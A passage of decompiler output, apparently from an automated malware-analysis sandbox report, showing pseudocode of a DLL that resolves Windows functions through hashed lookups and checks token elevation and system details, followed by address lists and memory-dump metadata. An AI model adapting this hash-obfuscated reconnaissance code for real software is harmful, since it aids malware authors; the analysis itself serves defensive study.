											do {
												E6ED59670( &_v120, E6ED59650( &_v120) + 4);
												_t315 =  *((intOrPtr*)(_t445 + 0x130 + _t429 * 4));
												_t183 = E6ED59640(_t418, E6ED59650(_t418) + 0xfffffffc);
												_t429 = 1 + _t429;
												 *_t183 = _t315;
											} while (_t429 < 6);
											_push(0);
											_t314 = 0;
											E6ED5C550(0,  &_v160, _t429, _t439, _t418, 0x80000002);
											E6ED59510(_t418);
											E6ED5C580( &_v172, _t382,  &_v84, 0x1cd1a4f3);
											_push(_v92);
											_t187 = E6ED5C790( &_v180, _t382);
											_t419 = _t187;
											E6ED50B10( &_v84);
											if(_t187 != 0) {
												E6ED5C580( &_v168, _t382,  &(_v156.lpMinimumApplicationAddress), 0xc28d248b);
												_push(_v156.dwOemId);
												_t419 = E6ED5C790( &_v176, _t382);
												E6ED50B10( &(_v156.lpMinimumApplicationAddress));
												E6ED5C580( &_v180, _t382,  &(_v156.dwPageSize), 0xead58213);
												_push(_v160);
												_t432 = E6ED5C790( &_v188, _t382);
												E6ED50B10( &_v164);
												if(_t419 != 0) {
													if(_t419 == 5) {
														if(_t432 == 0) {
															E6ED48CA0( &_v164);
															if(_v168 != 0) {
																_t406 = _v172;
																if(_t406 == 0 || _t406 == 0xffffffff) {
																	_t283 = 1;
																} else {
																	_t283 = 0;
																}
																if(_t283 == 0) {
																	E6ED5BF00(_t406);
																}
															}
															_v172 = 0;
															_t197 = 3;
															goto L64;
														} else {
															if(_t432 == 1) {
																E6ED48CA0( &_v164);
																if(_v168 != 0) {
																	_t407 = _v172;
																	if(_t407 == 0 || _t407 == 0xffffffff) {
																		_t286 = 1;
																	} else {
																		_t286 = 0;
																	}
																	if(_t286 == 0) {
																		E6ED5BF00(_t407);
																	}
																}
																_v172 = 0;
																_t197 = 4;
																goto L64;
															} else {
																goto L56;
															}
														}
														goto L236;
													} else {
														if(_t419 != 2 || _t432 != 1) {
															goto L56;
														} else {
															E6ED48CA0( &_v164);
															if(_v168 != 0) {
																_t409 = _v172;
																if(_t409 == 0 || _t409 == 0xffffffff) {
																	_t292 = 1;
																} else {
																	_t292 = 0;
																}
																if(_t292 == 0) {
																	E6ED5BF00(_t409);
																}
															}
															_v172 = 0;
															_t197 = 5;
														}
													}
												} else {
													if(_t432 != 0) {
														L56:
														E6ED48CA0( &_v164);
														if(_v168 != 0) {
															_t408 = _v172;
															if(_t408 == 0 || _t408 == 0xffffffff) {
																_t289 = 1;
															} else {
																_t289 = _t314;
															}
															if(_t289 == 0) {
																E6ED5BF00(_t408);
															}
														}
														_v172 = 0;
														_t197 = _t314;
													} else {
														E6ED48CA0( &_v164);
														if(_v168 != 0) {
															_t410 = _v172;
															if(_t410 == 0 || _t410 == 0xffffffff) {
																_t295 = 1;
															} else {
																_t295 = 0;
															}
															if(_t295 == 0) {
																E6ED5BF00(_t410);
															}
														}
														_v172 = 0;
														_t197 = 2;
													}
												}
											} else {
												E6ED48CA0( &_v156);
												if(_v160 != 0) {
													_t411 = _v164;
													if(_t411 == 0 || _t411 == 0xffffffff) {
														_t298 = 1;
													} else {
														_t298 = 0;
													}
													if(_t298 == 0) {
														E6ED5BF00(_t411);
													}
												}
												_v164 = 0;
												_t197 = 1;
											}
										} else {
											_t197 = 1;
										}
										L64:
										_t383 =  *0x6ed6b1f0; // 0xb70528
										 *(_t445 + 0x1ac) = 0;
										 *(_t383 + 0x24) = _t197;
										_t384 =  *0x6ed6b1f4; // 0xb71340
										if(_t384 == 0xc139578) {
											 *0x6ed6b1f4 = 0;
											goto L70;
										} else {
											if(_t384 == 0) {
												L70:
												_push(0x3ab94787);
												_t432 = E6ED47564(0x3ab94787);
												if(_t432 == 0) {
													if(E6ED46C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t432 = E6ED47564(0x3ab94787);
													}
												}
												if(_t432 == 0) {
													goto L87;
												} else {
													_t445 = _t445 + 0xfffffff8;
													_t402 = E6ED467C8(_t432, 0xc17c5a6e);
													goto L73;
												}
											} else {
												do {
													_t368 = _t314;
													_t282 = _t368;
													while( *((intOrPtr*)(_t282 + _t384 + 8)) != 0xc17c5a6e) {
														_t368 = _t368 + 1;
														_t282 = _t282 + 0x18;
														if(_t368 < 0x10) {
															continue;
														} else {
															goto L69;
														}
														goto L88;
													}
													_t402 =  *((intOrPtr*)(_t282 + _t384 + 0x14));
													if(_t402 != 0) {
														L73:
														if(_t402 == 0) {
															L87:
															_t201 = _t314;
														} else {
															_push(_t445 + 0x1ac);
															_push(8);
															_push(0xffffffff);
															if( *_t402() == 0) {
																goto L87;
															} else {
																_t403 =  *0x6ed6b1f4; // 0xb71340
																if(_t403 == 0xc139578) {
																	 *0x6ed6b1f4 = 0;
																	goto L81;
																} else {
																	if(_t403 == 0) {
																		L81:
																		_push(0x3ab94787);
																		_t432 = E6ED47564(0x3ab94787);
																		if(_t432 == 0) {
																			if(E6ED46C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t432 = E6ED47564(0x3ab94787);
																			}
																		}
																		if(_t432 == 0) {
																			goto L87;
																		} else {
																			_t445 = _t445 + 0xfffffff8;
																			_t366 = E6ED467C8(_t432, 0x2eeff4c6);
																			goto L84;
																		}
																	} else {
																		do {
																			_t367 = _t314;
																			_t279 = _t367;
																			while( *((intOrPtr*)(_t279 + _t403 + 8)) != 0x2eeff4c6) {
																				_t367 = _t367 + 1;
																				_t279 = _t279 + 0x18;
																				if(_t367 < 0x10) {
																					continue;
																				} else {
																					goto L80;
																				}
																				goto L88;
																			}
																			_t366 =  *((intOrPtr*)(_t279 + _t403 + 0x14));
																			if(_t366 != 0) {
																				L84:
																				if(_t366 == 0) {
																					goto L87;
																				} else {
																					_t275 = GetTokenInformation(_v88, 0x14,  &_v100, 4,  &_v104); // executed
																					if(_t275 == 0) {
																						goto L87;
																					} else {
																						_t201 = _t314 & 0xffffff00 | _v104 > 0x00000000;
																					}
																				}
																			} else {
																				goto L81;
																			}
																			goto L88;
																			L80:
																			asm("o16 nop [eax+eax]");
																			_t66 = _t403 + 0x180; // 0xb78e68
																			_t403 =  *_t66;
																		} while (_t403 != 0);
																		goto L81;
																	}
																}
															}
														}
													} else {
														goto L70;
													}
													goto L88;
													L69:
													asm("o16 nop [eax+eax]");
													_t62 = _t384 + 0x180; // 0xb78e68
													_t384 =  *_t62;
												} while (_t384 != 0);
												goto L70;
											}
										}
										L88:
										_t344 =  *0x6ed6b1f0; // 0xb70528
										 *(_t344 + 0x29) = _t201;
										 *((intOrPtr*)(_t344 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
										if( *_t344 >= 0x10) {
											_t386 =  *0x6ed6b1f4; // 0xb71340
											 *(_t445 + 0x1a4) = 0;
											if(_t386 == 0xc139578) {
												 *0x6ed6b1f4 = 0;
												goto L100;
											} else {
												if(_t386 == 0) {
													L100:
													_push(0x3ab94787);
													_t432 = E6ED47564(0x3ab94787);
													if(_t432 == 0) {
														if(E6ED46C50(0x3ab94787) != 0) {
															_push(0x3ab94787);
															_t432 = E6ED47564(0x3ab94787);
														}
													}
													if(_t432 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t386 = E6ED467C8(_t432, 0xc17c5a6e);
														goto L103;
													}
												} else {
													do {
														_t364 = _t314;
														_t263 = _t364;
														while( *((intOrPtr*)(_t263 + _t386 + 8)) != 0xc17c5a6e) {
															_t364 = _t364 + 1;
															_t263 = _t263 + 0x18;
															if(_t364 < 0x10) {
																continue;
															} else {
																goto L99;
															}
															goto L105;
														}
														_t386 =  *(_t263 + _t386 + 0x14);
														if(_t386 != 0) {
															L103:
															if(_t386 != 0) {
																 *_t386(0xffffffff, 8,  &_v76);
															}
														} else {
															goto L100;
														}
														goto L105;
														L99:
														asm("o16 nop [eax+eax]");
														_t84 = _t386 + 0x180; // 0xb78e68
														_t386 =  *_t84;
													} while (_t386 != 0);
													goto L100;
												}
											}
											L105:
											_t346 =  &_v84;
											 *_t346 =  *(_t445 + 0x1a4);
											_t346[1] = 1;
											if(E6ED5BEA0(_t346, _t386, _t432) == 0) {
												_t387 =  *0x6ed6b1f4; // 0xb71340
												_v88 = 0;
												if(_t387 == 0xc139578) {
													 *0x6ed6b1f4 = 0;
													goto L114;
												} else {
													if(_t387 == 0) {
														L114:
														_push(0x3ab94787);
														_t432 = E6ED47564(0x3ab94787);
														if(_t432 == 0) {
															if(E6ED46C50(0x3ab94787) != 0) {
																_push(0x3ab94787);
																_t432 = E6ED47564(0x3ab94787);
															}
														}
														if(_t432 != 0) {
															_t445 = _t445 + 0xfffffff8;
															_t398 = E6ED467C8(_t432, 0x2eeff4c6);
															goto L117;
														}
													} else {
														do {
															_t362 = _t314;
															_t255 = _t362;
															while( *((intOrPtr*)(_t255 + _t387 + 8)) != 0x2eeff4c6) {
																_t362 = _t362 + 1;
																_t255 = _t255 + 0x18;
																if(_t362 < 0x10) {
																	continue;
																} else {
																	goto L113;
																}
																goto L119;
															}
															_t398 =  *((intOrPtr*)(_t255 + _t387 + 0x14));
															if(_t398 != 0) {
																L117:
																if(_t398 != 0) {
																	GetTokenInformation(_v96, 0x19, _t314, _t314,  &_v100); // executed
																}
															} else {
																goto L114;
															}
															goto L119;
															L113:
															asm("o16 nop [eax+eax]");
															_t94 = _t387 + 0x180; // 0xb78e68
															_t387 =  *_t94;
														} while (_t387 != 0);
														goto L114;
													}
												}
												L119:
												_t212 = _v92;
												if(_t212 != 0) {
													_push(_t212);
													E6ED59350(_t445 + 8);
													_t433 = E6ED59640(_t445 + 8, 0);
													_t388 =  *0x6ed6b1f4; // 0xb71340
													if(_t388 == 0xc139578) {
														 *0x6ed6b1f4 = 0;
														goto L160;
													} else {
														if(_t388 == 0) {
															L160:
															_push(0x3ab94787);
															_t420 = E6ED47564(0x3ab94787);
															if(_t420 == 0) {
																if(E6ED46C50(0x3ab94787) != 0) {
																	_push(0x3ab94787);
																	_t420 = E6ED47564(0x3ab94787);
																}
															}
															if(_t420 == 0) {
																goto L178;
															} else {
																_t445 = _t445 + 0xfffffff8;
																_t394 = E6ED467C8(_t420, 0x2eeff4c6);
																goto L163;
															}
														} else {
															do {
																_t360 = _t314;
																_t247 = _t360;
																while( *((intOrPtr*)(_t247 + _t388 + 8)) != 0x2eeff4c6) {
																	_t360 = _t360 + 1;
																	_t247 = _t247 + 0x18;
																	if(_t360 < 0x10) {
																		continue;
																	} else {
																		goto L159;
																	}
																	goto L236;
																}
																_t394 =  *((intOrPtr*)(_t247 + _t388 + 0x14));
																if(_t394 != 0) {
																	L163:
																	if(_t394 == 0) {
																		L178:
																		E6ED59510( &_v496);
																		if(_v92 != 0) {
																			E6ED5BE30( &_v96, _t433);
																		}
																		goto L122;
																	} else {
																		_t234 = GetTokenInformation(_v104, 0x19, _t433, _v108,  &_v108); // executed
																		if(_t234 == 0) {
																			goto L178;
																		} else {
																			_t395 =  *0x6ed6b1f4; // 0xb71340
																			if(_t395 == 0xc139578) {
																				 *0x6ed6b1f4 = 0;
																				goto L171;
																			} else {
																				if(_t395 == 0) {
																					L171:
																					_push(0x3ab94787);
																					 *_t445 = E6ED47564(0x3ab94787);
																					if( *_t445 == 0) {
																						if(E6ED46C50(0x3ab94787) != 0) {
																							_push(0x3ab94787);
																							_v520 = E6ED47564(0x3ab94787);
																						}
																					}
																					if( *_t445 == 0) {
																						goto L176;
																					} else {
																						_t445 = _t445 + 0xfffffff8;
																						_t241 = E6ED467C8( *((intOrPtr*)(_t445 + 8)), 0x4e2f8db7);
																						goto L174;
																					}
																				} else {
																					do {
																						_t359 = _t314;
																						_t244 = _t359;
																						while( *((intOrPtr*)(_t244 + _t395 + 8)) != 0x4e2f8db7) {
																							_t359 = _t359 + 1;
																							_t244 = _t244 + 0x18;
																							if(_t359 < 0x10) {
																								continue;
																							} else {
																								goto L170;
																							}
																							goto L236;
																						}
																						_t241 =  *((intOrPtr*)(_t244 + _t395 + 0x14));
																						if(_t241 != 0) {
																							L174:
																							if(_t241 == 0) {
																								L176:
																								E6ED59510(_t445 + 4);
																								if(_v108 != 0) {
																									E6ED5BE30( &_v112, _t433);
																								}
																								goto L122;
																							} else {
																								_push( *_t433);
																								asm("int3");
																								return _t241;
																							}
																						} else {
																							goto L171;
																						}
																						goto L236;
																						L170:
																						asm("o16 nop [eax+eax]");
																						_t133 = _t395 + 0x180; // 0xb78e68
																						_t395 =  *_t133;
																					} while (_t395 != 0);
																					goto L171;
																				}
																			}
																		}
																	}
																} else {
																	goto L160;
																}
																goto L236;
																L159:
																asm("o16 nop [eax+eax]");
																_t127 = _t388 + 0x180; // 0xb78e68
																_t388 =  *_t127;
															} while (_t388 != 0);
															goto L160;
														}
													}
												} else {
													if(_v84 != 0) {
														E6ED5BE30( &_v88, _t432);
													}
													goto L122;
												}
											} else {
												if( *((char*)(_t445 + 0x198)) != 0) {
													E6ED5BE30( &_v84, _t432);
												}
												L122:
												_t434 = _t314;
												_t219 =  *0x6ed6b1f0; // 0xb70528
												 *(_t219 + 0x2c) = _t434;
												goto L124;
											}
										} else {
											_t264 = E6ED45100(_t419, _t432, _t439);
											_t400 =  *0x6ed6b1f0; // 0xb70528
											if(_t264 == 0) {
												if( *((char*)(_t400 + 0x28)) == 0) {
													 *(_t400 + 0x2c) = 3;
												} else {
													 *(_t400 + 0x2c) = 5;
												}
											} else {
												 *(_t400 + 0x2c) = 6;
											}
											L124:
											_t389 =  *0x6ed6b1f4; // 0xb71340
											if(_t389 == 0xc139578) {
												 *0x6ed6b1f4 = 0;
												goto L130;
											} else {
												if(_t389 == 0) {
													L130:
													_push(0xa1310f65);
													_t316 = E6ED47564(0xa1310f65);
													if(_t316 == 0) {
														if(E6ED46C50(0xa1310f65) != 0) {
															_push(0xa1310f65);
															_t316 = E6ED47564(0xa1310f65);
														}
													}
													if(_t316 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t392 = E6ED467C8(_t316, 0x4e85f18d);
														goto L133;
													}
												} else {
													do {
														_t354 = _t314;
														_t229 = _t354;
														while( *((intOrPtr*)(_t229 + _t389 + 8)) != 0x4e85f18d) {
															_t354 = _t354 + 1;
															_t229 = _t229 + 0x18;
															if(_t354 < 0x10) {
																continue;
															} else {
																goto L129;
															}
															goto L135;
														}
														_t392 =  *((intOrPtr*)(_t229 + _t389 + 0x14));
														if(_t392 != 0) {
															L133:
															if(_t392 != 0) {
																GetSystemInfo( &_v156);
															}
														} else {
															goto L130;
														}
														goto L135;
														L129:
														asm("o16 nop [eax+eax]");
														_t103 = _t389 + 0x180; // 0xb78e68
														_t389 =  *_t103;
													} while (_t389 != 0);
													goto L130;
												}
											}
											L135:
											_t223 =  *0x6ed6b1f0; // 0xb70528
											 *((short*)(_t223 + 0xe)) = _v156.dwAllocationGranularity;
											 *((intOrPtr*)(_t223 + 0x10)) = _v156.lpMaximumApplicationAddress;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t445 + 0x16c));
											 *((intOrPtr*)(_t223 + 0x18)) = _v156.dwNumberOfProcessors;
											 *((intOrPtr*)(_t223 + 0x1c)) = _v120;
											return _t223;
										}
									} else {
										_push(_t416);
										asm("int3");
										return _t308;
									}
								} else {
									break;
								}
								goto L236;
								L10:
								asm("o16 nop [eax+eax]");
								_t6 = _t377 + 0x180; // 0xb78e68
								_t377 =  *_t6;
							} while (_t377 != 0);
							L11:
							_push(0xa1310f65);
							_t425 = E6ED47564(0xa1310f65);
							if(_t425 == 0) {
								if(E6ED46C50(0xa1310f65) != 0) {
									_push(0xa1310f65);
									_t425 = E6ED47564(0xa1310f65);
								}
							}
							if(_t425 == 0) {
								goto L16;
							} else {
								_t445 = _t445 + 0xfffffff8;
								_t308 = E6ED467C8(_t425, 0x13e99f60);
								goto L14;
							}
						}
					}
				} else {
					return _t163;
				}
				L236:
			}

0x6ed43931
0x6ed43936
0x6ed43937
0x6ed43938
0x6ed43939
0x6ed4393f
0x6ed43941
0x6ed4394b
0x6ed4478e
0x6ed44790
0x6ed44795
0x6ed44798
0x6ed44798
0x6ed43955
0x6ed4396a
0x6ed43976
0x6ed4397b
0x6ed4397e
0x6ed43984
0x6ed43992
0x6ed4477d
0x6ed44787
0x00000000
0x6ed43998
0x6ed4399a
0x6ed447a2
0x00000000
0x6ed439a0
0x6ed439a0
0x6ed439a2
0x6ed439a2
0x6ed439a4
0x6ed439a6
0x6ed439b4
0x6ed439b5
0x6ed439bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed439bb
0x6ed4476c
0x6ed44772
0x6ed439f5
0x6ed439f7
0x6ed439fc
0x6ed439fc
0x6ed43a06
0x6ed43a0a
0x6ed43a0e
0x6ed43a14
0x6ed43a17
0x6ed43a2d
0x6ed43a32
0x6ed43a3a
0x6ed43a41
0x6ed43a44
0x6ed43a4a
0x6ed43a51
0x6ed43a59
0x6ed44739
0x00000000
0x6ed43a5f
0x6ed43a61
0x6ed43a8e
0x6ed43a93
0x6ed43a99
0x6ed43a9d
0x6ed44710
0x6ed4471b
0x6ed44721
0x6ed44721
0x6ed44710
0x6ed43aa5
0x6ed43aae
0x6ed43ab6
0x00000000
0x6ed43ab6
0x6ed43a63
0x6ed43a63
0x6ed43a63
0x6ed43a65
0x6ed43a67
0x6ed43a75
0x6ed43a76
0x6ed43a7c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed43a7c
0x6ed44728
0x6ed4472e
0x6ed43ab8
0x6ed43aba
0x6ed43ac6
0x6ed43ac6
0x00000000
0x6ed44734
0x00000000
0x6ed44734
0x00000000
0x6ed43a7e
0x6ed43a7e
0x6ed43a84
0x6ed43a84
0x6ed43a8a
0x00000000
0x6ed43a63
0x6ed43a61
0x6ed43ac8
0x6ed43ac8
0x6ed43ad5
0x6ed43add
0x6ed43ad7
0x6ed43ad7
0x6ed43ad7
0x6ed43ae1
0x6ed43ae6
0x6ed43aee
0x6ed43af9
0x6ed43b05
0x6ed43b0c
0x6ed43b14
0x6ed43b1c
0x6ed43b25
0x6ed43b2e
0x6ed43b30
0x6ed43b35
0x6ed43b37
0x6ed43b44
0x6ed43b4b
0x6ed43b5d
0x6ed43b62
0x6ed43b63
0x6ed43b65
0x6ed43b6a
0x6ed43b72
0x6ed43b7b
0x6ed43b82
0x6ed43b9b
0x6ed43ba0
0x6ed43bae
0x6ed43bb3
0x6ed43bb7
0x6ed43bbe
0x6ed43c22
0x6ed43c27
0x6ed43c3a
0x6ed43c3e
0x6ed43c57
0x6ed43c5c
0x6ed43c6f
0x6ed43c78
0x6ed43c7f
0x6ed43cd3
0x6ed4465c
0x6ed4466f
0x6ed4467c
0x6ed4467e
0x6ed44687
0x6ed44692
0x6ed4468e
0x6ed4468e
0x6ed4468e
0x6ed44699
0x6ed4469c
0x6ed4469c
0x6ed44699
0x6ed446a1
0x6ed446ac
0x00000000
0x6ed4465e
0x6ed44661
0x6ed446bd
0x6ed446ca
0x6ed446cc
0x6ed446d5
0x6ed446e0
0x6ed446dc
0x6ed446dc
0x6ed446dc
0x6ed446e7
0x6ed446ea
0x6ed446ea
0x6ed446e7
0x6ed446ef
0x6ed446fa
0x00000000
0x6ed44663
0x00000000
0x6ed44663
0x6ed44661
0x00000000
0x6ed43cd9
0x6ed43cdc
0x00000000
0x6ed44108
0x6ed4410f
0x6ed4411c
0x6ed4411e
0x6ed44127
0x6ed44132
0x6ed4412e
0x6ed4412e
0x6ed4412e
0x6ed44139
0x6ed4413c
0x6ed4413c
0x6ed44139
0x6ed44141
0x6ed4414c
0x6ed4414c
0x6ed43cdc
0x6ed43c81
0x6ed43c83
0x6ed43ce7
0x6ed43cee
0x6ed43cfb
0x6ed43cfd
0x6ed43d06
0x6ed43d11
0x6ed43d0d
0x6ed43d0d
0x6ed43d0d
0x6ed43d18
0x6ed43d1b
0x6ed43d1b
0x6ed43d18
0x6ed43d20
0x6ed43d2b
0x6ed43c85
0x6ed43c8c
0x6ed43c99
0x6ed43c9b
0x6ed43ca4
0x6ed43caf
0x6ed43cab
0x6ed43cab
0x6ed43cab
0x6ed43cb6
0x6ed43cb9
0x6ed43cb9
0x6ed43cb6
0x6ed43cbe
0x6ed43cc9
0x6ed43cc9
0x6ed43c83
0x6ed43bc0
0x6ed43bc7
0x6ed43bd4
0x6ed43bd6
0x6ed43bdf
0x6ed43bea
0x6ed43be6
0x6ed43be6
0x6ed43be6
0x6ed43bf1
0x6ed43bf4
0x6ed43bf4
0x6ed43bf1
0x6ed43bf9
0x6ed43c04
0x6ed43c04
0x6ed43afb
0x6ed43afb
0x6ed43afb
0x6ed43d2d
0x6ed43d2d
0x6ed43d33
0x6ed43d3e
0x6ed43d41
0x6ed43d4d
0x6ed4464b
0x00000000
0x6ed43d53
0x6ed43d55
0x6ed43d82
0x6ed43d87
0x6ed43d8d
0x6ed43d91
0x6ed44622
0x6ed4462d
0x6ed44633
0x6ed44633
0x6ed44622
0x6ed43d99
0x00000000
0x6ed43d9f
0x6ed43da6
0x6ed43dae
0x00000000
0x6ed43dae
0x6ed43d57
0x6ed43d57
0x6ed43d57
0x6ed43d59
0x6ed43d5b
0x6ed43d69
0x6ed43d6a
0x6ed43d70
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed43d70
0x6ed4463a
0x6ed44640
0x6ed43db0
0x6ed43db2
0x6ed43e6d
0x6ed43e6d
0x6ed43db8
0x6ed43dbf
0x6ed43dc0
0x6ed43dc2
0x6ed43dc8
0x00000000
0x6ed43dce
0x6ed43dce
0x6ed43dda
0x6ed4418b
0x00000000
0x6ed43de0
0x6ed43de2
0x6ed43e0f
0x6ed43e14
0x6ed43e1a
0x6ed43e1e
0x6ed44162
0x6ed4416d
0x6ed44173
0x6ed44173
0x6ed44162
0x6ed43e26
0x00000000
0x6ed43e28
0x6ed43e2f
0x6ed43e37
0x00000000
0x6ed43e37
0x6ed43de4
0x6ed43de4
0x6ed43de4
0x6ed43de6
0x6ed43de8
0x6ed43df6
0x6ed43df7
0x6ed43dfd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed43dfd
0x6ed4417a
0x6ed44180
0x6ed43e39
0x6ed43e3b
0x00000000
0x6ed43e3d
0x6ed43e58
0x6ed43e5c
0x00000000
0x6ed43e5e
0x6ed43e68
0x6ed43e68
0x6ed43e5c
0x6ed44186
0x00000000
0x6ed44186
0x00000000
0x6ed43dff
0x6ed43dff
0x6ed43e05
0x6ed43e05
0x6ed43e0b
0x00000000
0x6ed43de4
0x6ed43de2
0x6ed43dda
0x6ed43dc8
0x6ed44646
0x00000000
0x6ed44646
0x00000000
0x6ed43d72
0x6ed43d72
0x6ed43d78
0x6ed43d78
0x6ed43d7e
0x00000000
0x6ed43d57
0x6ed43d55
0x6ed43e6f
0x6ed43e6f
0x6ed43e75
0x6ed43e8a
0x6ed43e8d
0x6ed43ec8
0x6ed43ece
0x6ed43edf
0x6ed44607
0x00000000
0x6ed43ee5
0x6ed43ee7
0x6ed43f14
0x6ed43f19
0x6ed43f1f
0x6ed43f23
0x6ed445de
0x6ed445e9
0x6ed445ef
0x6ed445ef
0x6ed445de
0x6ed43f2b
0x6ed43f34
0x6ed43f3c
0x00000000
0x6ed43f3c
0x6ed43ee9
0x6ed43ee9
0x6ed43ee9
0x6ed43eeb
0x6ed43eed
0x6ed43efb
0x6ed43efc
0x6ed43f02
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed43f02
0x6ed445f6
0x6ed445fc
0x6ed43f3e
0x6ed43f40
0x6ed43f4e
0x6ed43f4e
0x6ed44602
0x00000000
0x6ed44602
0x00000000
0x6ed43f04
0x6ed43f04
0x6ed43f0a
0x6ed43f0a
0x6ed43f10
0x00000000
0x6ed43ee9
0x6ed43ee7
0x6ed43f50
0x6ed43f57
0x6ed43f5e
0x6ed43f60
0x6ed43f6b
0x6ed43f8c
0x6ed43f92
0x6ed43fa3
0x6ed445c3
0x00000000
0x6ed43fa9
0x6ed43fab
0x6ed43fd8
0x6ed43fdd
0x6ed43fe3
0x6ed43fe7
0x6ed4459a
0x6ed445a5
0x6ed445ab
0x6ed445ab
0x6ed4459a
0x6ed43fef
0x6ed43ff8
0x6ed44000
0x00000000
0x6ed44000
0x6ed43fad
0x6ed43fad
0x6ed43fad
0x6ed43faf
0x6ed43fb1
0x6ed43fbf
0x6ed43fc0
0x6ed43fc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed43fc6
0x6ed445b2
0x6ed445b8
0x6ed44002
0x6ed44004
0x6ed44019
0x6ed44019
0x6ed445be
0x00000000
0x6ed445be
0x00000000
0x6ed43fc8
0x6ed43fc8
0x6ed43fce
0x6ed43fce
0x6ed43fd4
0x00000000
0x6ed43fad
0x6ed43fab
0x6ed4401b
0x6ed4401b
0x6ed44024
0x6ed441de
0x6ed441e3
0x6ed441f3
0x6ed441f5
0x6ed44201
0x6ed4457f
0x00000000
0x6ed44207
0x6ed44209
0x6ed44236
0x6ed4423b
0x6ed44241
0x6ed44245
0x6ed44556
0x6ed44561
0x6ed44567
0x6ed44567
0x6ed44556
0x6ed4424d
0x00000000
0x6ed44253
0x6ed4425a
0x6ed44262
0x00000000
0x6ed44262
0x6ed4420b
0x6ed4420b
0x6ed4420b
0x6ed4420d
0x6ed4420f
0x6ed4421d
0x6ed4421e
0x6ed44224
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44224
0x6ed4456e
0x6ed44574
0x6ed44264
0x6ed44266
0x6ed44470
0x6ed44474
0x6ed44481
0x6ed4448e
0x6ed4448e
0x00000000
0x6ed4426c
0x6ed44285
0x6ed44289
0x00000000
0x6ed4428f
0x6ed4428f
0x6ed4429b
0x6ed4453b
0x00000000
0x6ed442a1
0x6ed442a3
0x6ed442d0
0x6ed442d5
0x6ed442db
0x6ed442e2
0x6ed44511
0x6ed4451c
0x6ed44522
0x6ed44522
0x6ed44511
0x6ed442ec
0x00000000
0x6ed442f2
0x6ed442f2
0x6ed442fe
0x00000000
0x6ed442fe
0x6ed442a5
0x6ed442a5
0x6ed442a5
0x6ed442a7
0x6ed442a9
0x6ed442b7
0x6ed442b8
0x6ed442be
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed442be
0x6ed4452a
0x6ed44530
0x6ed44303
0x6ed44305
0x6ed44448
0x6ed4444c
0x6ed44459
0x6ed44466
0x6ed44466
0x00000000
0x6ed4430b
0x6ed4430b
0x6ed4430d
0x6ed4430e
0x6ed4430e
0x6ed44536
0x00000000
0x6ed44536
0x00000000
0x6ed442c0
0x6ed442c0
0x6ed442c6
0x6ed442c6
0x6ed442cc
0x00000000
0x6ed442a5
0x6ed442a3
0x6ed4429b
0x6ed44289
0x6ed4457a
0x00000000
0x6ed4457a
0x00000000
0x6ed44226
0x6ed44226
0x6ed4422c
0x6ed4422c
0x6ed44232
0x00000000
0x6ed4420b
0x6ed44209
0x6ed4402a
0x6ed44032
0x6ed4403b
0x6ed4403b
0x00000000
0x6ed44032
0x6ed43f6d
0x6ed43f75
0x6ed43f82
0x6ed43f82
0x6ed44040
0x6ed44040
0x6ed44042
0x6ed44047
0x00000000
0x6ed44047
0x6ed43e8f
0x6ed43e8f
0x6ed43e94
0x6ed43e9c
0x6ed43eae
0x6ed43ebc
0x6ed43eb0
0x6ed43eb0
0x6ed43eb0
0x6ed43e9e
0x6ed43e9e
0x6ed43e9e
0x6ed4404a
0x6ed4404a
0x6ed44056
0x6ed441cf
0x00000000
0x6ed4405c
0x6ed4405e
0x6ed4408b
0x6ed44090
0x6ed44096
0x6ed4409a
0x6ed441a6
0x6ed441b1
0x6ed441b7
0x6ed441b7
0x6ed441a6
0x6ed440a2
0x6ed440ab
0x6ed440b3
0x00000000
0x6ed440b3
0x6ed44060
0x6ed44060
0x6ed44060
0x6ed44062
0x6ed44064
0x6ed44072
0x6ed44073
0x6ed44079
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44079
0x6ed441be
0x6ed441c4
0x6ed440b5
0x6ed440b7
0x6ed440c1
0x6ed440c1
0x6ed441ca
0x00000000
0x6ed441ca
0x00000000
0x6ed4407b
0x6ed4407b
0x6ed44081
0x6ed44081
0x6ed44087
0x00000000
0x6ed44060
0x6ed4405e
0x6ed440c3
0x6ed440c3
0x6ed440eb
0x6ed440ef
0x6ed440f2
0x6ed440f5
0x6ed440f8
0x6ed44107
0x6ed44107
0x6ed439f9
0x6ed439f9
0x6ed439fa
0x6ed439fb
0x6ed439fb
0x6ed44778
0x00000000
0x6ed44778
0x00000000
0x6ed439bd
0x6ed439bd
0x6ed439c3
0x6ed439c3
0x6ed439c9
0x6ed439cd
0x6ed439d2
0x6ed439d8
0x6ed439dc
0x6ed44754
0x6ed4475f
0x6ed44765
0x6ed44765
0x6ed44754
0x6ed439e4
0x00000000
0x6ed439e6
0x6ed439ed
0x6ed439f0
0x00000000
0x6ed439f0
0x6ed439e4
0x6ed4399a
0x6ed4395d
0x6ed43969
0x6ed43969
0x00000000

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9136364abe1b631444e45f683b32dc0491a4f9230ee464a8f2aab42ea0978ac
Instruction ID: 5deba019faa45edbfaae81df7610bbe277c853b3a85949735a6f312277ee4cbc
